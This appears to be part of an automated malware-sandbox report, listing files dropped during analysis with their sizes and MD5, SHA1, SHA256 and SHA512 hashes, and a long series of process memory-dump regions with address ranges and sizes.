C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_o2qb3aqg.twd.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
4KB

MD5
bdb25c22d14ec917e30faf353826c5de

SHA1
6c2feb9cea9237bc28842ebf2fea68b3bd7ad190

SHA256
e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495

SHA512
b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
b42c70c1dbf0d1d477ec86902db9e986

SHA1
1d1c0a670748b3d10bee8272e5d67a4fabefd31f

SHA256
8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a

SHA512
57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5

Download Submit
memory/1012-289-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1012-285-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1012-313-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1012-311-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1012-317-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1012-309-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1012-307-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1012-305-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1012-303-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1012-283-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1012-299-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1012-297-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1012-291-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1012-319-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1012-293-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1012-329-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1012-321-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1012-295-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1012-315-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1012-287-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1012-301-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1012-281-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1012-279-0x00000204BB6D0000-0x00000204BB6F0000-memory.dmp

Filesize
128KB

Download
memory/1012-278-0x00000204BB6B0000-0x00000204BB6D0000-memory.dmp

Filesize
128KB

Download
memory/1012-277-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1012-258-0x00000204BAF60000-0x00000204BAF80000-memory.dmp

Filesize
128KB

Download
memory/1012-275-0x00000204BB6D0000-0x00000204BB6F0000-memory.dmp

Filesize
128KB

Download
memory/1012-274-0x00000204BB6B0000-0x00000204BB6D0000-memory.dmp

Filesize
128KB

Download
memory/1012-269-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1012-267-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1012-265-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1012-264-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1012-259-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1012-263-0x00000204BB690000-0x00000204BB6B0000-memory.dmp

Filesize
128KB

Download
memory/1012-331-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1012-327-0x00007FF6FB050000-0x00007FF6FB844000-memory.dmp

Filesize
8.0MB

Download
memory/1268-262-0x00007FF77CB20000-0x00007FF77CB36000-memory.dmp

Filesize
88KB

Download
memory/1268-276-0x00007FF77CB20000-0x00007FF77CB36000-memory.dmp

Filesize
88KB

Download
memory/1320-186-0x00007FFA04EE0000-0x00007FFA059A1000-memory.dmp

Filesize
10.8MB

Download
memory/1320-183-0x000001BC7E5E0000-0x000001BC7E5F0000-memory.dmp

Filesize
64KB

Download
memory/1320-171-0x000001BC7E5E0000-0x000001BC7E5F0000-memory.dmp

Filesize
64KB

Download
memory/1320-172-0x000001BC7E5E0000-0x000001BC7E5F0000-memory.dmp

Filesize
64KB

Download
memory/1320-170-0x00007FFA04EE0000-0x00007FFA059A1000-memory.dmp

Filesize
10.8MB

Download
memory/2484-250-0x00000299FF940000-0x00000299FF950000-memory.dmp

Filesize
64KB

Download
memory/2484-252-0x00000299FF940000-0x00000299FF950000-memory.dmp

Filesize
64KB

Download
memory/2484-254-0x00007FFA04EE0000-0x00007FFA059A1000-memory.dmp

Filesize
10.8MB

Download
memory/2484-236-0x00000299FF940000-0x00000299FF950000-memory.dmp

Filesize
64KB

Download
memory/2484-226-0x00007FFA04EE0000-0x00007FFA059A1000-memory.dmp

Filesize
10.8MB

Download
memory/2484-251-0x00007FFA04EE0000-0x00007FFA059A1000-memory.dmp

Filesize
10.8MB

Download
memory/2484-237-0x00000299FF940000-0x00000299FF950000-memory.dmp

Filesize
64KB

Download
memory/2484-239-0x00007FF44AA90000-0x00007FF44AAA0000-memory.dmp

Filesize
64KB

Download
memory/3304-133-0x00007FF6B8450000-0x00007FF6B8661000-memory.dmp

Filesize
2.1MB

Download
memory/3304-165-0x00007FF6B8450000-0x00007FF6B8661000-memory.dmp

Filesize
2.1MB

Download
memory/3304-169-0x00007FF6B8450000-0x00007FF6B8661000-memory.dmp

Filesize
2.1MB

Download
memory/3700-146-0x000001E957F40000-0x000001E957F50000-memory.dmp

Filesize
64KB

Download
memory/3700-149-0x00007FFA04EE0000-0x00007FFA059A1000-memory.dmp

Filesize
10.8MB

Download
memory/3700-134-0x000001E9726C0000-0x000001E9726E2000-memory.dmp

Filesize
136KB

Download
memory/3700-140-0x00007FFA04EE0000-0x00007FFA059A1000-memory.dmp

Filesize
10.8MB

Download
memory/3700-145-0x000001E957F40000-0x000001E957F50000-memory.dmp

Filesize
64KB

Download
memory/3700-147-0x000001E957F40000-0x000001E957F50000-memory.dmp

Filesize
64KB

Download
memory/4544-164-0x000001DE271F0000-0x000001DE27200000-memory.dmp

Filesize
64KB

Download
memory/4544-163-0x000001DE271F0000-0x000001DE27200000-memory.dmp

Filesize
64KB

Download
memory/4544-157-0x000001DE271F0000-0x000001DE27200000-memory.dmp

Filesize
64KB

Download
memory/4544-167-0x00007FFA04EE0000-0x00007FFA059A1000-memory.dmp

Filesize
10.8MB

Download
memory/4544-151-0x000001DE271F0000-0x000001DE27200000-memory.dmp

Filesize
64KB

Download
memory/4544-150-0x00007FFA04EE0000-0x00007FFA059A1000-memory.dmp

Filesize
10.8MB

Download
memory/4604-213-0x00007FF7B4A00000-0x00007FF7B4C11000-memory.dmp

Filesize
2.1MB

Download
memory/4604-187-0x00007FF7B4A00000-0x00007FF7B4C11000-memory.dmp

Filesize
2.1MB

Download
memory/4604-260-0x00007FF7B4A00000-0x00007FF7B4C11000-memory.dmp

Filesize
2.1MB

Download
memory/4604-249-0x00007FF7B4A00000-0x00007FF7B4C11000-memory.dmp

Filesize
2.1MB

Download
memory/4648-221-0x000002666C3F0000-0x000002666C400000-memory.dmp

Filesize
64KB

Download
memory/4648-197-0x00007FFA04EE0000-0x00007FFA059A1000-memory.dmp

Filesize
10.8MB

Download
memory/4648-198-0x000002666C3F0000-0x000002666C400000-memory.dmp

Filesize
64KB

Download
memory/4648-199-0x000002666C3F0000-0x000002666C400000-memory.dmp

Filesize
64KB

Download
memory/4648-200-0x00007FF4AB4E0000-0x00007FF4AB4F0000-memory.dmp

Filesize
64KB

Download
memory/4648-210-0x000002666E7C0000-0x000002666E7DC000-memory.dmp

Filesize
112KB

Download
memory/4648-211-0x000002666E5A0000-0x000002666E5AA000-memory.dmp

Filesize
40KB

Download
memory/4648-212-0x000002666EA00000-0x000002666EA1C000-memory.dmp

Filesize
112KB

Download
memory/4648-214-0x000002666E5B0000-0x000002666E5BA000-memory.dmp

Filesize
40KB

Download
memory/4648-215-0x00007FFA04EE0000-0x00007FFA059A1000-memory.dmp

Filesize
10.8MB

Download
memory/4648-216-0x000002666EA20000-0x000002666EA3A000-memory.dmp

Filesize
104KB

Download
memory/4648-217-0x000002666E9E0000-0x000002666E9E8000-memory.dmp

Filesize
32KB

Download
memory/4648-218-0x000002666C3F0000-0x000002666C400000-memory.dmp

Filesize
64KB

Download
memory/4648-219-0x000002666E9F0000-0x000002666E9F6000-memory.dmp

Filesize
24KB

Download
memory/4648-220-0x000002666EA40000-0x000002666EA4A000-memory.dmp

Filesize
40KB

Download
memory/4648-224-0x00007FFA04EE0000-0x00007FFA059A1000-memory.dmp

Filesize
10.8MB

Download